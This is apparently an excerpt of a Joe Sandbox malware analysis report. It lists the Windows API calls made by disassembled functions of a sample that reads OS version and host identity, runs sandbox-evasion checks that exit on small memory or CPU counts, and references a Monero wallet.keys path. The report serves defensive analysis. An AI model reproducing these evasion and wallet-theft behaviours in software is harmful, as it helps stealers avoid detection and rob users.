Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 8e1d89f04447b74d432ca91536c75af24ed4ecab591641108296b441b35a61de
Instruction ID: 4145a71b25340a45139609b6cb6c07370bf3fa93c5fb523ac95dc8005a861943
Opcode Fuzzy Hash: 8e1d89f04447b74d432ca91536c75af24ed4ecab591641108296b441b35a61de
Instruction Fuzzy Hash: 3D3103B4A0021CABDB20DF54DD89BDCB7B4EB48704F1085D8EB09A7280CB706AC58F99

Function 00A083DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00A08426
wsprintfA.USER32 ref: 00A08459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00A0847B
RegCloseKey.ADVAPI32(00000000), ref: 00A0848C
RegCloseKey.ADVAPI32(00000000), ref: 00A08499

Part of subcall function 00A0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A0A7E6

RegQueryValueExA.KERNEL32(00000000,014DE2E0,00000000,000F003F,?,00000400), ref: 00A084EC
lstrlen.KERNEL32(?), ref: 00A08501
RegQueryValueExA.KERNEL32(00000000,014DE1C0,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00A10B34), ref: 00A08599
RegCloseKey.KERNEL32(00000000), ref: 00A08608
RegCloseKey.ADVAPI32(00000000), ref: 00A0861A

Strings

%s\%s, xrefs: 00A0844D

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 2f7d5b403ec09edcc3854900b7d026488cdc7dddc1f3d2a6cbbdc746f51d4ad6
Instruction ID: c6e65265d4e58cfbe35d8a9b95a9d64f5a3e523d305a29653e313535dda68d83
Opcode Fuzzy Hash: 2f7d5b403ec09edcc3854900b7d026488cdc7dddc1f3d2a6cbbdc746f51d4ad6
Instruction Fuzzy Hash: B321E77191021CABDB64DB54DC85FE9B3B8FB48700F00C598E649A6280DF756A85CFD5

Function 00A07690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A076A4
RtlAllocateHeap.NTDLL(00000000), ref: 00A076AB
RegOpenKeyExA.KERNEL32(80000002,014CB7B8,00000000,00020119,00000000), ref: 00A076DD
RegQueryValueExA.KERNEL32(00000000,014DE190,00000000,00000000,?,000000FF), ref: 00A076FE
RegCloseKey.ADVAPI32(00000000), ref: 00A07708

Strings

Windows 11, xrefs: 00A076BD

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 6733975c99690b609a2e2522c417e6c3e1f896021b6eb6f9f9fb00bdf61bcaa0
Instruction ID: 2e99bddb4a91a6d0b2206c7744c3c2f0db3cc43c0d9c2802cec8c123a5ceba71
Opcode Fuzzy Hash: 6733975c99690b609a2e2522c417e6c3e1f896021b6eb6f9f9fb00bdf61bcaa0
Instruction Fuzzy Hash: 15016DB5A14208BBEB00DBE4ED49FAEB7B8EB48701F104458FA45D72D1E6B0A9548F52

Function 00A07720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A07734
RtlAllocateHeap.NTDLL(00000000), ref: 00A0773B
RegOpenKeyExA.KERNEL32(80000002,014CB7B8,00000000,00020119,00A076B9), ref: 00A0775B
RegQueryValueExA.KERNEL32(00A076B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00A0777A
RegCloseKey.ADVAPI32(00A076B9), ref: 00A07784

Strings

CurrentBuildNumber, xrefs: 00A07771

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: a24c467c455fd4ba85f5723a9d468c96fa2b9d38597636d7db183842e27d243c
Instruction ID: 19165f725ca1e2918e34f98680cedf46738651778af9584a8644951a8587773b
Opcode Fuzzy Hash: a24c467c455fd4ba85f5723a9d468c96fa2b9d38597636d7db183842e27d243c
Instruction Fuzzy Hash: 6A0167B5A50308BBD700DBE0DC49FAEB7B8EB44700F004558FA45A72C1D67055508F52

Function 00A069F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00A09860: GetProcAddress.KERNEL32(76210000,014D0808), ref: 00A098A1
Part of subcall function 00A09860: GetProcAddress.KERNEL32(76210000,014D08E0), ref: 00A098BA
Part of subcall function 00A09860: GetProcAddress.KERNEL32(76210000,014D0970), ref: 00A098D2
Part of subcall function 00A09860: GetProcAddress.KERNEL32(76210000,014D0958), ref: 00A098EA
Part of subcall function 00A09860: GetProcAddress.KERNEL32(76210000,014D0988), ref: 00A09903
Part of subcall function 00A09860: GetProcAddress.KERNEL32(76210000,014D8BE8), ref: 00A0991B
Part of subcall function 00A09860: GetProcAddress.KERNEL32(76210000,014C6238), ref: 00A09933
Part of subcall function 00A09860: GetProcAddress.KERNEL32(76210000,014C6258), ref: 00A0994C
Part of subcall function 00A09860: GetProcAddress.KERNEL32(76210000,014D07A8), ref: 00A09964
Part of subcall function 00A09860: GetProcAddress.KERNEL32(76210000,014D0820), ref: 00A0997C
Part of subcall function 00A09860: GetProcAddress.KERNEL32(76210000,014D0A00), ref: 00A09995
Part of subcall function 00A09860: GetProcAddress.KERNEL32(76210000,014D0928), ref: 00A099AD
Part of subcall function 00A09860: GetProcAddress.KERNEL32(76210000,014C61F8), ref: 00A099C5
Part of subcall function 00A09860: GetProcAddress.KERNEL32(76210000,014D0778), ref: 00A099DE

Part of subcall function 00A0A740: lstrcpy.KERNEL32(00A10E17,00000000), ref: 00A0A788

Part of subcall function 009F11D0: ExitProcess.KERNEL32 ref: 009F1211

Part of subcall function 009F1160: GetSystemInfo.KERNEL32(?), ref: 009F116A
Part of subcall function 009F1160: ExitProcess.KERNEL32 ref: 009F117E

Part of subcall function 009F1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 009F112B
Part of subcall function 009F1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 009F1132
Part of subcall function 009F1110: ExitProcess.KERNEL32 ref: 009F1143

Part of subcall function 009F1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 009F123E
Part of subcall function 009F1220: __aulldiv.LIBCMT ref: 009F1258
Part of subcall function 009F1220: __aulldiv.LIBCMT ref: 009F1266
Part of subcall function 009F1220: ExitProcess.KERNEL32 ref: 009F1294

Part of subcall function 00A06770: GetUserDefaultLangID.KERNEL32 ref: 00A06774

Part of subcall function 009F1190: ExitProcess.KERNEL32 ref: 009F11C6

Part of subcall function 00A07850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,009F11B7), ref: 00A07880
Part of subcall function 00A07850: RtlAllocateHeap.NTDLL(00000000), ref: 00A07887
Part of subcall function 00A07850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00A0789F

Part of subcall function 00A078E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A07910
Part of subcall function 00A078E0: RtlAllocateHeap.NTDLL(00000000), ref: 00A07917
Part of subcall function 00A078E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00A0792F

Part of subcall function 00A0A9B0: lstrlen.KERNEL32(?,014D89B8,?,\Monero\wallet.keys,00A10E17), ref: 00A0A9C5
Part of subcall function 00A0A9B0: lstrcpy.KERNEL32(00000000), ref: 00A0AA04
Part of subcall function 00A0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A0AA12

Part of subcall function 00A0A8A0: lstrcpy.KERNEL32(?,00A10E17), ref: 00A0A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,014D8B98,?,00A1110C,?,00000000,?,00A11110,?,00000000,00A10AEF), ref: 00A06ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00A06AE8
CloseHandle.KERNEL32(00000000), ref: 00A06AF9
Sleep.KERNEL32(00001770), ref: 00A06B04
CloseHandle.KERNEL32(?,00000000,?,014D8B98,?,00A1110C,?,00000000,?,00A11110,?,00000000,00A10AEF), ref: 00A06B1A
ExitProcess.KERNEL32 ref: 00A06B22

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: c0b0d2145b7017c9d8de87fbf9109469825a99fc61cc40ca52265eb4b9835509
Instruction ID: 98b4409b431f2653b6a632ad596410cabf4dd95a0f6eea4ea7484272df66a3d3
Opcode Fuzzy Hash: c0b0d2145b7017c9d8de87fbf9109469825a99fc61cc40ca52265eb4b9835509
Instruction Fuzzy Hash: 9E31E871E5020CAADB04FBF0EE56BEE7778AF64340F508518F252A61D2DF706945CBA2

Function 009F99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 009F99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 009F9A11
LocalAlloc.KERNEL32(00000040,?), ref: 009F9A31
ReadFile.KERNEL32(000000FF,?,00000000,009F148F,00000000), ref: 009F9A5A
LocalFree.KERNEL32(009F148F), ref: 009F9A90
CloseHandle.KERNEL32(000000FF), ref: 009F9A9A

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 1991e28bb52ea0b50de797efd1a99a6379a8ba739bc5a8af6212242c3c875f37
Instruction ID: 8f64d8fdc3996d76812047aaab058066e80cc42e04a52d05452514b811089174
Opcode Fuzzy Hash: 1991e28bb52ea0b50de797efd1a99a6379a8ba739bc5a8af6212242c3c875f37
Instruction Fuzzy Hash: D031E6B4A0020DEFDB14CFA4D985BAE77B9FF48350F108158E911A7290D779AA51CFA1

Function 009F1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 009F123E
__aulldiv.LIBCMT ref: 009F1258
__aulldiv.LIBCMT ref: 009F1266
ExitProcess.KERNEL32 ref: 009F1294

Strings

@, xrefs: 009F1233

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
